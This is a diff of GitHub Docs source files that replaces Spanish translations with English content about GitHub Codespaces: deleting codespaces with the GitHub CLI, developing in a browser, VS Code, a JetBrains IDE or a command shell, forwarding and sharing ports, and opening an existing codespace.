{% cli %}
|
||||
|
||||
Puedes eliminar varios codespaces, o todos ellos, con un solo comando mediante `gh codespace delete` seguido de una de estas marcas:
|
||||
You can delete several or all of your codespaces with a single command, using `gh codespace delete` followed by one of these flags:
|
||||
|
||||
`--all`: elimina todos los codespaces.
|
||||
`--all` - Delete all of your codespaces.
|
||||
|
||||
`--repo REPOSITORY`: elimina todos los codespaces de este repositorio. O bien, úsalo junto con la marca `--days` para filtrar por antigüedad del codespace.
|
||||
`--repo REPOSITORY` - Delete all of your codespaces for this repository. Or use together with the `--days` flag to filter by age of the codespace.
|
||||
|
||||
`--days NUMBER`: elimina todos los codespaces anteriores al número de días especificado. Se puede usar junto con la marca `--repo`.
|
||||
`--days NUMBER` - Delete all of your codespaces that are older than the specified number of days. Can be used together with the `--repo` flag.
|
||||
|
||||
De manera predeterminada, se te pedirá que confirmes la eliminación de los codespaces que contengan cambios no guardados. Puedes usar la marca `--force` para omitir esta confirmación.
|
||||
By default you are prompted to confirm deletion of any codespaces that contain unsaved changes. You can use the `--force` flag to skip this confirmation.
|
||||
|
||||
### Ejemplo
|
||||
### Example
|
||||
|
||||
Elimina todos los codespaces del repositorio `octo-org/octo-repo` que has creado hace más de 7 días.
|
||||
Delete all of the codespaces for the `octo-org/octo-repo` repository that you created more than 7 days ago.
|
||||
|
||||
```
|
||||
gh cs delete --repo octo-org/octo-repo --days 7
|
||||
gh codespace delete --repo octo-org/octo-repo --days 7
|
||||
```
|
||||
|
||||
{% endcli %}
|
||||
|
||||
## Eliminación de codespaces en la organización
|
||||
## Deleting codespaces in your organization
|
||||
|
||||
Como propietario de la organización, puedes usar {% data variables.product.prodname_cli %} para eliminar cualquier codespace de la organización.
|
||||
As an organization owner, you can use {% data variables.product.prodname_cli %} to delete any codespace in your organization.
|
||||
|
||||
{% webui %}
|
||||
|
||||
Para obtener más información, haz clic en la pestaña "{% data variables.product.prodname_cli %}" que se encuentra cerca de la parte superior de esta página.
|
||||
For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page.
|
||||
|
||||
{% endwebui %}
|
||||
|
||||
{% vscode %}
|
||||
|
||||
Para obtener más información, haz clic en la pestaña "{% data variables.product.prodname_cli %}" que se encuentra cerca de la parte superior de esta página.
|
||||
For more information, click the "{% data variables.product.prodname_cli %}" tab near the top of this page.
|
||||
|
||||
{% endvscode %}
|
||||
|
||||
{% cli %}
|
||||
|
||||
1. Escribe uno de estos comandos para mostrar una lista de codespaces.
|
||||
* `gh codespace delete --org ORGANIZATION` : enumera los codespaces actuales de la organización especificada.
|
||||
* `gh codespace delete --org ORGANIZATION --user USER` : enumera solo los codespaces creados por el usuario especificado.
|
||||
Debes ser un propietario de la organización especificada.
|
||||
1. En la lista de codespaces, ve al codespace que desees eliminar.
|
||||
1. Para eliminar el codespace seleccionado, presiona <kbd>Entrar</kbd>.
|
||||
1. Enter one of these commands to display a list of codespaces.
|
||||
* `gh codespace delete --org ORGANIZATION` - Lists the current codespaces in the specified organization.
|
||||
* `gh codespace delete --org ORGANIZATION --user USER` - Lists only those codespaces created by the specified user.
|
||||
You must be an owner of the specified organization.
|
||||
1. In the list of codespaces, navigate to the codespace you want to delete.
|
||||
1. To delete the selected codespace press <kbd>Enter</kbd>.
|
||||
|
||||
Si el codespace contiene cambios no guardados, se te pedirá que confirmes la eliminación.
|
||||
If the codespace contains unsaved changes you will be prompted to confirm deletion.
|
||||
|
||||
{% endcli %}
|
||||
|
||||
También puedes usar la API de REST para eliminar codespaces para tu organización. Para más información, consulta "[Organizaciones de Codespaces](/rest/codespaces/organizations#delete-a-codespace-from-the-organization)".
|
||||
You can also use the REST API to delete codespaces for your organization. For more information, see "[Codespaces organizations](/rest/codespaces/organizations#delete-a-codespace-from-the-organization)."
|
||||
|
||||
## Información adicional
|
||||
- "[Ciclo de vida de Codespaces](/codespaces/developing-in-codespaces/codespaces-lifecycle)"
|
||||
- "[Configuración de la eliminación automática de los codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)"
|
||||
## Further reading
|
||||
- "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)"
|
||||
- "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)"
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
---
|
||||
title: Desarrollar en un codespace
|
||||
intro: 'Puedes abrir un codespace en {% data variables.product.product_name %} y después desarrollar utilizando las características de {% data variables.product.prodname_vscode %}.'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
title: Developing in a codespace
|
||||
intro: 'You can work in a codespace using your browser, {% data variables.product.prodname_vscode %}, a JetBrains IDE, or in a command shell.'
|
||||
redirect_from:
|
||||
- /github/developing-online-with-github-codespaces/developing-in-a-codespace
|
||||
- /github/developing-online-with-codespaces/developing-in-a-codespace
|
||||
@@ -14,46 +13,127 @@ topics:
|
||||
- Fundamentals
|
||||
- Developer
|
||||
shortTitle: Develop in a codespace
|
||||
ms.openlocfilehash: 459e98978fdc062d96372c26c56a0f042878d40d
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148109876'
|
||||
---
|
||||
## Acerca del desarrollo con {% data variables.product.prodname_github_codespaces %}
|
||||
|
||||
{% data variables.product.prodname_github_codespaces %} te proporciona la experiencia completa de desarrollo de {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %}
|
||||
{% jetbrains %}
|
||||
|
||||
{% data reusables.codespaces.links-to-get-started %}
|
||||
{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
|
||||
|
||||
|
||||
{% endjetbrains %}
|
||||
|
||||
1. Barra lateral - Predeterminadamente, esta área te muestra los archivos de tu proyexcto en el explorador.
|
||||
2. Barra de actividad - Esto muestra las vistas y te proporciona una forma de cambiar entre ellas. Puedes volver a ordenar las vistas si las arrastras y las sueltas.
|
||||
3. Editor - Aquí es donde editas tus archivos. Puedes utilzar la pestaña para que cada editor la posicione exactamente donde la necesitas.
|
||||
4. Paneles - Aquí es donde puedes ver la información de salida y depuración, así como el lugar predeterminado para la Terminal integrada.
|
||||
5. Barra de estado - Esta área te proporciona información útil sobre tu codespace y proyecto. Por ejemplo, el nombre de rama, los puertos configurados y más.
|
||||
## About development with {% data variables.product.prodname_github_codespaces %}
|
||||
|
||||
Para obtener más información sobre el uso de {% data variables.product.prodname_vscode_shortname %}, consulta la [guía de la interfaz de usuario](https://code.visualstudio.com/docs/getstarted/userinterface) en la documentación de {% data variables.product.prodname_vscode_shortname %}.
|
||||
You can develop code in a codespace using your choice of tool:
|
||||
|
||||
{% data reusables.codespaces.connect-to-codespace-from-vscode %}
|
||||
* A command shell, via an SSH connection initiated using {% data variables.product.prodname_cli %}.
|
||||
* One of the JetBrains IDEs, via the JetBrains Gateway.
|
||||
* The {% data variables.product.prodname_vscode %} desktop application.
|
||||
* A browser-based version of {% data variables.product.prodname_vscode %}.
|
||||
|
||||
{% data reusables.codespaces.use-chrome %} Para obtener más información, consulta "[Solución de problemas de clientes de {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/troubleshooting-codespaces-clients)".
|
||||
{% webui %}
|
||||
|
||||
### Personalizar tu codespace
|
||||
The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for the web browser version of {% data variables.product.prodname_vscode %}.
|
||||
|
||||
{% data reusables.codespaces.about-personalization %} Para obtener más información, consulta "[Personalización de {% data variables.product.prodname_github_codespaces %} en tu cuenta](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account)".
|
||||
## Working in a codespace in the browser
|
||||
|
||||
{% data reusables.codespaces.apply-devcontainer-changes %} Para obtener más información, consulta "[Introducción a los contenedores de desarrollo](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)".
|
||||
Using {% data variables.product.prodname_codespaces %} in the browser provides you with a fully featured development experience. You can edit code, debug, use Git commands, and run your application.
|
||||
|
||||
### Ejecutar tu app desde un codespace
|
||||
{% data reusables.codespaces.about-port-forwarding %} Para obtener más información, consulte "[Reenvío de puertos en su codespace](/github/developing-online-with-codespaces/forwarding-ports-in-your-codespace)".
|
||||
|
||||
|
||||
### Configramr tus cambios
|
||||
{% data reusables.codespaces.vscode-interface-annotation %}
|
||||
{% data reusables.codespaces.use-chrome %} For more information, see "[Troubleshooting {% data variables.product.prodname_github_codespaces %} clients](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients)."
|
||||
{% data reusables.codespaces.developing-in-vscode %}
|
||||
{% data reusables.codespaces.navigating-to-a-codespace %}
|
||||
|
||||
{% data reusables.codespaces.committing-link-to-procedure %}
|
||||
{% endwebui %}
|
||||
|
||||
### Utilizar la {% data variables.product.prodname_vscode_command_palette %}
|
||||
{% vscode %}
|
||||
|
||||
La {% data variables.product.prodname_vscode_command_palette %} te permite acceder y administrar muchas de las características para {% data variables.product.prodname_github_codespaces %} y {% data variables.product.prodname_vscode_shortname %}. Para obtener más información, consulta "[Uso de {% data variables.product.prodname_vscode_command_palette_shortname %} en {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)".
|
||||
The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for {% data variables.product.prodname_vscode %}.
|
||||
|
||||
## Working in a codespace in {% data variables.product.prodname_vscode_shortname %}
|
||||
|
||||
{% data variables.product.prodname_github_codespaces %} provides you with the full development experience of {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %}
|
||||
|
||||
|
||||
|
||||
{% data reusables.codespaces.vscode-interface-annotation %}
|
||||
|
||||
For more information on using {% data variables.product.prodname_vscode_shortname %}, see the [User Interface guide](https://code.visualstudio.com/docs/getstarted/userinterface) in the {% data variables.product.prodname_vscode_shortname %} documentation.
|
||||
|
||||
{% data reusables.codespaces.connect-to-codespace-from-vscode %}
|
||||
|
||||
For troubleshooting information, see "[Troubleshooting Codespaces clients](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients)."
|
||||
{% data reusables.codespaces.developing-in-vscode %}
|
||||
{% data reusables.codespaces.navigating-to-a-codespace %}
|
||||
|
||||
{% endvscode %}
|
||||
|
||||
{% jetbrains %}
|
||||
|
||||
The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for JetBrains IDEs.
|
||||
|
||||
## Working in a codespace in a JetBrains IDE
|
||||
|
||||
To use {% data variables.product.prodname_github_codespaces %} with a JetBrains IDE you must have already installed JetBrains Gateway. For information about installing JetBrains Gateway, see [the JetBrains website](https://www.jetbrains.com/remote-development/gateway/).
|
||||
|
||||
You can work in a codespace using your choice of JetBrains IDE. After creating a codespace, you can use the JetBrains Gateway application to open the codespace in your preferred IDE.
|
||||
|
||||
You can edit code, debug, and use Git commands while developing in a codespace with your JetBrains IDE. For more information about the various JetBrains IDEs, see the [JetBrains documentation](https://www.jetbrains.com/help/).
|
||||
|
||||
### IntelliJ IDEA user interface
|
||||
|
||||
Within the {% data variables.product.prodname_github_codespaces %} documentation we use IntelliJ IDEA as a representative JetBrains IDE. Different JetBrains IDEs may have different layouts.
|
||||
|
||||
|
||||
|
||||
1. **Navigation bar** - This displays the path to the currently selected file or directory. Use the buttons to the right of the navigation bar to perform various actions, including building, running, or debugging the project, or running Git commands to commit and push your changes.
|
||||
2. **Project tool window** - This shows you the structure of your project and allows you to open files in the editor.
|
||||
3. **{% data variables.product.prodname_github_codespaces %} tool window** - This is displayed by clicking the {% data variables.product.prodname_github_codespaces %} plugin in the bar to the left of the tool window. It displays information about your codespace, including its display name and machine type. The buttons at the top of this tool window allow you to:
|
||||
* Stop the codespace and disconnect
|
||||
* Display the "Your codespaces" web page
|
||||
* View the codespace creation logs
|
||||
* Rebuild the dev container
|
||||
4. **Editor** - This is where you edit your files. You can right-click the tab for a file to access options such as moving the tab to a new window.
|
||||
5. **Terminal** - This is displayed by clicking **Terminal** in the tool window bar at the bottom of the main window (just above the status bar). The integrated terminal allows you to perform command-line tasks without having to switch to a dedicated terminal application.
|
||||
6. **Status bar** - Hover over the icon at the left of the status bar to see a list of tools. Click the icon to hide or show the tool window bars. The right side of the status bar shows information about the project, including the current Git branch.
|
||||
|
||||
For more information about the IntelliJ IDEA user interface, see the [JetBrains documentation for IntelliJ IDEA](https://www.jetbrains.com/help/idea/guided-tour-around-the-user-interface.html).
|
||||
|
||||
### Customizing the codespaces for a repository
|
||||
|
||||
You can customize the codespaces that are created for a repository by creating or updating the dev container configuration for the repository. You can do this from within a codespace. After you change a dev container configuration, you can apply the changes to the current codespace by rebuilding the Docker container for the codespace. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)."
|
||||
|
||||
### Personalizing your codespace
|
||||
|
||||
You can use a [dotfiles](https://dotfiles.github.io/tutorials/) repository to personalize aspects of the codespace environment for any codespace that you create. For more information, see "[Personalizing {% data variables.product.prodname_github_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#dotfiles)."
|
||||
|
||||
### Committing your changes
|
||||
|
||||
Once you've made changes to your codespace, either new code or configuration changes, you'll want to commit and push your changes. Pushing changes to a repository ensures that anyone else who creates a codespace from this repository has the same configuration. This also means that any customization you do, to modify the configuration of codespaces created for a repository, will be available to everybody who uses the repository.
|
||||
|
||||
For more information, see "[Using source control in your codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#committing-your-changes)."
|
||||
|
||||
## Further reading
|
||||
|
||||
* "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)"
|
||||
* "[Using the {% data variables.product.prodname_github_codespaces %} plugin for JetBrains](/codespaces/codespaces-reference/using-the-github-codespaces-plugin-for-jetbrains)"
|
||||
* "[Troubleshooting {% data variables.product.prodname_github_codespaces %} clients](/codespaces/troubleshooting/troubleshooting-github-codespaces-clients)"
|
||||
|
||||
{% endjetbrains %}
|
||||
|
||||
{% cli %}
|
||||
|
||||
The tabs in this article allow you to switch between information for each of these ways of working. You're currently on the tab for {% data variables.product.prodname_cli %}.
|
||||
|
||||
## Working in a codespace in a command shell
|
||||
|
||||
{% data reusables.cli.cli-learn-more %}
|
||||
|
||||
You can use {% data variables.product.prodname_cli %} to create a new codespace, or start an existing codespace, and then SSH to it. Once connected, you can work on the command line using your preferred command-line tools.
|
||||
|
||||
After installing {% data variables.product.prodname_cli %} and authenticating with your {% data variables.product.prodname_dotcom %} account you can use the command `gh codespace [<SUBCOMMAND>...] --help` to browse the help information. Alternatively, you can view the same reference information at [https://cli.github.com/manual/gh_codespace](https://cli.github.com/manual/gh_codespace).
|
||||
|
||||
For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with GitHub CLI](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli)."
|
||||
|
||||
{% endcli %}
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
---
|
||||
title: Reenviar puertos en tu codespace
|
||||
title: Forwarding ports in your codespace
|
||||
intro: '{% data reusables.codespaces.about-port-forwarding %}'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
@@ -13,67 +12,76 @@ topics:
|
||||
- Fundamentals
|
||||
- Developer
|
||||
shortTitle: Forward ports
|
||||
ms.openlocfilehash: 6e178c02b1170a60235a1ecf931001a7db58a187
|
||||
ms.sourcegitcommit: 43a959b8faf78d9c5b3deadffa079d24cd11650b
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 11/04/2022
|
||||
ms.locfileid: '148134747'
|
||||
---
|
||||
## Acerca de los puertos reenviados
|
||||
|
||||
La redirección de puertos te otorga acceso a los puertos CRP dentro de tu codespace. Por ejemplo, si estás ejecutando una aplicación web en un puerto específico en tu codespace, puedes reenviar dicho puerto. Esto te permite acceder a la aplicación desde el buscador en tu máquina local para hacer pruebas y correcciones de errores.
|
||||
{% jetbrains %}
|
||||
|
||||
Cuando una aplicación que se ejecuta dentro de un codespace imprime la salida en el terminal que contiene una dirección URL de localhost, como `http://localhost:PORT` o `http://127.0.0.1:PORT`, el puerto se reenvía de forma automática. Si estás utilizando {% data variables.product.prodname_github_codespaces %} en el explorador o en {% data variables.product.prodname_vscode %}, la secuencia de URL en la terminal se convertirá en un vínculo en el que puedes hacer clic para ver la página web en tu máquina local. De manera predeterminada, {% data variables.product.prodname_github_codespaces %} reenvía los puertos mediante HTTP.
|
||||
{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
|
||||
|
||||
|
||||
{% endjetbrains %}
|
||||
|
||||
{% data reusables.codespaces.forwarded-ports-environment-variable %}
|
||||
## About forwarded ports
|
||||
|
||||
También puedes reenviar un puerto de forma manual, etiquetar los puertos reenviados, compartir los puertos reenviados con los miembros de tu organización, compartir los puertos reenviados de forma pública y agregar puertos reenviados a la configuración del codespace.
|
||||
|
||||
{% note %}
|
||||
|
||||
**Nota**: {% data reusables.codespaces.restrict-port-visibility %}
|
||||
|
||||
{% endnote %}
|
||||
|
||||
## Reenviar un puerto
|
||||
|
||||
Puedes reenviar manualmente a un puerto que no se haya reenviado automáticamente.
|
||||
Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on a particular port in your codespace, you can forward that port. This allows you to access the application from the browser on your local machine for testing and debugging.
|
||||
|
||||
{% webui %}
|
||||
|
||||
{% data reusables.codespaces.port-forwarding-intro-non-jetbrains %}
|
||||
{% data reusables.codespaces.navigate-to-ports-tab %}
|
||||
1. En la lista de puertos, haga clic en **Agregar puerto**.
|
||||
1. Under the list of ports, click **Add port**.
|
||||
|
||||
|
||||
|
||||
|
||||
1. Teclea el número de puerto o de dirección y luego presiona enter.
|
||||
1. Type the port number or address, then press enter.
|
||||
|
||||
|
||||
|
||||
|
||||
## Utilizar el reenvío HTTPS
|
||||
## Using HTTPS forwarding
|
||||
|
||||
De manera predeterminada, {% data variables.product.prodname_github_codespaces %} reenvía los puertos mediante HTTP, pero puedes actualizar cualquier puerto para que utilice HTTPS según sea necesario. Si actualizas un puerto con visibilidad pública para usar HTTPS, la visibilidad del puerto cambiará automáticamente a privada.
|
||||
By default, {% data variables.product.prodname_github_codespaces %} forwards ports using HTTP but you can update any port to use HTTPS, as needed. If you update a port with public visibility to use HTTPS, the port's visibility will automatically change to private.
|
||||
|
||||
{% data reusables.codespaces.navigate-to-ports-tab %}
|
||||
1. Haga clic con el botón derecho en el puerto que quiera actualizar y, después, mantenga el mouse sobre **Cambiar protocolo de puerto**.
|
||||
|
||||
1. Selecciona el protocolo necesario para este puerto. El protocolo que selecciones se recordará para este puerto durante toda la vida útil del codespace.
|
||||
1. Right click the port you want to update, then hover over **Change Port Protocol**.
|
||||
|
||||
1. Select the protocol needed for this port. The protocol that you select will be remembered for this port for the lifetime of the codespace.
|
||||
|
||||
{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %}
|
||||
|
||||
{% data reusables.codespaces.navigate-to-ports-tab %}
|
||||
1. Right click the port that you want to share, select the "Port Visibility" menu, then click **Private to Organization** or **Public**.
|
||||
|
||||
1. To the right of the local address for the port, click the copy icon.
|
||||
|
||||
1. Send the copied URL to the person you want to share the port with.
|
||||
|
||||
{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %}
|
||||
{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %}
|
||||
|
||||
{% endwebui %}
|
||||
|
||||
{% vscode %}
|
||||
|
||||
{% data reusables.codespaces.port-forwarding-intro-non-jetbrains %}
|
||||
{% data reusables.codespaces.navigate-to-ports-tab %}
|
||||
1. En la lista de puertos, haga clic en **Agregar puerto**.
|
||||
1. Under the list of ports, click **Add port**.
|
||||
|
||||
|
||||
|
||||
|
||||
1. Teclea el número de puerto o de dirección y luego presiona enter.
|
||||
1. Type the port number or address, then press enter.
|
||||
|
||||
|
||||
|
||||
|
||||
{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %}
|
||||
|
||||
{% data reusables.codespaces.navigate-to-ports-tab %}
|
||||
1. Right click the port that you want to share, select the "Port Visibility" menu, then click **Private to Organization** or **Public**.
|
||||
|
||||
1. To the right of the local address for the port, click the copy icon.
|
||||
|
||||
1. Send the copied URL to the person you want to share the port with.
|
||||
|
||||
{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %}
|
||||
{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %}
|
||||
|
||||
{% endvscode %}
|
||||
|
||||
@@ -82,90 +90,48 @@ De manera predeterminada, {% data variables.product.prodname_github_codespaces %
|
||||
|
||||
{% data reusables.cli.cli-learn-more %}
|
||||
|
||||
Para reenviar un puerto, use el subcomando `gh codespace ports forward`. Reemplace `codespace-port:local-port` por los puertos remotos y locales que quiera conectar. Después de ingresar el comando, elige de la lista de codespaces que se muestra.
|
||||
To forward a port use the `gh codespace ports forward` subcommand. Replace `codespace-port:local-port` with the remote and local ports that you want to connect. After entering the command choose from the list of codespaces that's displayed.
|
||||
|
||||
```shell
|
||||
gh codespace ports forward CODESPACE-PORT:LOCAL-PORT
|
||||
```
|
||||
|
||||
Para más información sobre este comando, vea [el manual de {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_ports_forward).
|
||||
For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_forward).
|
||||
|
||||
Para ver detalles de los puertos reenviados, escriba `gh codespace ports` y elija un codespace.
|
||||
To see details of forwarded ports enter `gh codespace ports` and then choose a codespace.
|
||||
|
||||
{% endcli %}
|
||||
{% data reusables.codespaces.port-forwarding-sharing-non-jetbrains %}
|
||||
|
||||
## Compartir un puerto
|
||||
To change the visibility of a forwarded port, use the `gh codespace ports visibility` subcommand. {% data reusables.codespaces.port-visibility-settings %}
|
||||
|
||||
{% note %}
|
||||
|
||||
**Nota:** Solo puede hacer que un puerto sea privado para una organización si en la organización se usa {% data variables.product.prodname_team %} o {% data variables.product.prodname_ghe_cloud %}.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
Si quieres compartir un puerto reenviado con otros, puedes ya sea hacerlo privado para tu organización o hacerlo público. Después de hacer un puerto privado para tu organización, cualquier miembro de esta que tenga la URL de dicho puerto podrá ver la aplicación que se está ejecutando. Después de hacer un puerto público, cualquiera que sepa la URL y el número de puerto podrá ver la aplicación que se está ejecutando sin necesidad de autenticarse.
|
||||
|
||||
{% note %}
|
||||
|
||||
**Nota:** La elección de las opciones de visibilidad del puerto puede estar limitada por una directiva configurada para la organización. Para más información, vea "[Restricción de la visibilidad de los puertos reenviados](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)".
|
||||
|
||||
{% endnote %}
|
||||
|
||||
{% webui %}
|
||||
|
||||
{% data reusables.codespaces.navigate-to-ports-tab %}
|
||||
1. Haga clic con el botón derecho en el puerto que quiere compartir, seleccione el menú "Visibilidad del puerto" y, después, haga clic en **Privado para la organización** o **Público**.
|
||||
|
||||
1. A la derecha de la dirección local del puerto, haz clic en el icono de copiar.
|
||||
|
||||
1. Envía la URL copiada a la persona con la que quieras compartir el puerto.
|
||||
|
||||
{% endwebui %}
|
||||
|
||||
{% vscode %}
|
||||
|
||||
{% data reusables.codespaces.navigate-to-ports-tab %}
|
||||
1. Haga clic con el botón derecho en el puerto que quiere compartir, seleccione el menú "Visibilidad del puerto" y, después, haga clic en **Privado para la organización** o **Público**.
|
||||
|
||||
1. A la derecha de la dirección local del puerto, haz clic en el icono de copiar.
|
||||
|
||||
1. Envía la URL copiada a la persona con la que quieras compartir el puerto.
|
||||
|
||||
{% endvscode %}
|
||||
|
||||
{% cli %}
|
||||
|
||||
Para cambiar la visibilidad de un puerto reenviado, use el subcomando `gh codespace ports visibility`. {% data reusables.codespaces.port-visibility-settings %}
|
||||
|
||||
Reemplace `codespace-port` por el número de puerto reenviado. Reemplace `setting` por `private`, `org` o `public`. Después de ingresar el comando, elige de la lista de codespaces que se muestra.
|
||||
Replace `codespace-port` with the forwarded port number. Replace `setting` with `private`, `org`, or `public`. After entering the command choose from the list of codespaces that's displayed.
|
||||
|
||||
```shell
|
||||
gh codespace ports visibility CODESPACE-PORT:SETTINGS
|
||||
```
|
||||
|
||||
Puedes configurar la visibilidad para varios puertos con un solo comando. Por ejemplo:
|
||||
You can set the visibility for multiple ports with one command. For example:
|
||||
|
||||
```shell
|
||||
gh codespace ports visibility 80:private 3000:public 3306:org
|
||||
```
|
||||
|
||||
Para más información sobre este comando, vea [el manual de {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_ports_visibility).
|
||||
For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_visibility).
|
||||
|
||||
{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %}
|
||||
|
||||
You can see the port labels when you list the forwarded ports for a codespace. To do this, use the `gh codespace ports` command and then select a codespace.
|
||||
|
||||
{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %}
|
||||
|
||||
{% endcli %}
|
||||
|
||||
## Etiquetar un puerto
|
||||
{% jetbrains %}
|
||||
|
||||
Puedes etiquetar un puerto para hacerlo más fácil de identificar en una lista.
|
||||
## Forwarding a port
|
||||
|
||||
{% data reusables.codespaces.navigate-to-ports-tab %}
|
||||
1. Pasa el mouse sobre el puerto que quieras etiquetar y luego haz clic en el icono de etiqueta.
|
||||
 {% data reusables.codespaces.type-port-label %}
|
||||
For information on how to forward a port in a codespace to a port on your local machine, see the "Port forwarding" section of the "[Security model](https://www.jetbrains.com/help/idea/security-model.html#port_forwarding)" article in the JetBrains documentation.
|
||||
|
||||
## Agregar el peurto a la configuración del codespace
|
||||
Alternatively, you can use {% data variables.product.prodname_cli %} to forward a port. For more information, click the "{% data variables.product.prodname_cli %}" tab at the top of this page.
|
||||
|
||||
Puedes agregar un puerto reenviado a la configuración de {% data variables.product.prodname_github_codespaces %} del repositorio para que este pueda reenviarse automáticamente a todos los codespaces que se crearon desde el repositorio. Después de que actualizas la configuración, cualquier codespace creado debe reconstruirse para que el cambio se aplique. Para obtener más información, consulte "[Introducción a los contenedores de desarrollo](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace)".
|
||||
|
||||
Puede configurar manualmente los puertos reenviados en un archivo `.devcontainer.json` mediante la propiedad `forwardPorts`, o bien puede usar el panel "Puertos" del codespace.
|
||||
|
||||
{% data reusables.codespaces.navigate-to-ports-tab %}
|
||||
1. Haga clic con el botón derecho en el puerto que quiera agregar a la configuración del codespace y, después, haga clic en **Configurar etiqueta y actualizar devcontainer.json**.
|
||||
 {% data reusables.codespaces.type-port-label %}
|
||||
{% endjetbrains %}
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
---
|
||||
title: Desarrollar en un codespace
|
||||
intro: 'Crea un codespace para comenzar a desarrollar tu proyecto dentro de un ambiente dedicado en la nube. Puedes utilizar puertos reenviados para ejecutar tu aplicación e incluso utilizar codespaces dentro de {% data variables.product.prodname_vscode %}'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
topics:
|
||||
- Codespaces
|
||||
children:
|
||||
- /codespaces-lifecycle
|
||||
- /the-codespace-lifecycle
|
||||
- /developing-in-a-codespace
|
||||
- /creating-a-codespace
|
||||
- /creating-a-codespace-for-a-repository
|
||||
- /creating-a-codespace-from-a-template
|
||||
- /deleting-a-codespace
|
||||
- /opening-an-existing-codespace
|
||||
- /using-source-control-in-your-codespace
|
||||
@@ -21,12 +21,13 @@ children:
|
||||
- /connecting-to-a-private-network
|
||||
- /getting-started-with-github-codespaces-for-machine-learning
|
||||
- /using-github-codespaces-in-visual-studio-code
|
||||
- /using-github-codespaces-in-your-jetbrains-ide
|
||||
- /using-github-codespaces-with-github-cli
|
||||
ms.openlocfilehash: 32f6b6c874d4a117928e8766ded4a8c02f027c8e
|
||||
ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
|
||||
ms.openlocfilehash: 166283bd0fbc71b8acc180b20ef597dbc0a50781
|
||||
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/09/2022
|
||||
ms.locfileid: '147763624'
|
||||
ms.lasthandoff: 11/09/2022
|
||||
ms.locfileid: '148159017'
|
||||
---
|
||||
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
---
|
||||
title: Apertura de un codespace existente
|
||||
intro: Puedes volver a abrir un codespace que hayas cerrado o detenido y volver al trabajo.
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
title: Opening an existing codespace
|
||||
intro: 'You can reopen a codespace that you have closed or stopped and return to your work.'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
@@ -11,25 +10,46 @@ topics:
|
||||
- Fundamentals
|
||||
- Developer
|
||||
shortTitle: Open an existing codespace
|
||||
ms.openlocfilehash: 37eff72e5384ec5eda55708f7672cfe6832864c1
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148110038'
|
||||
---
|
||||
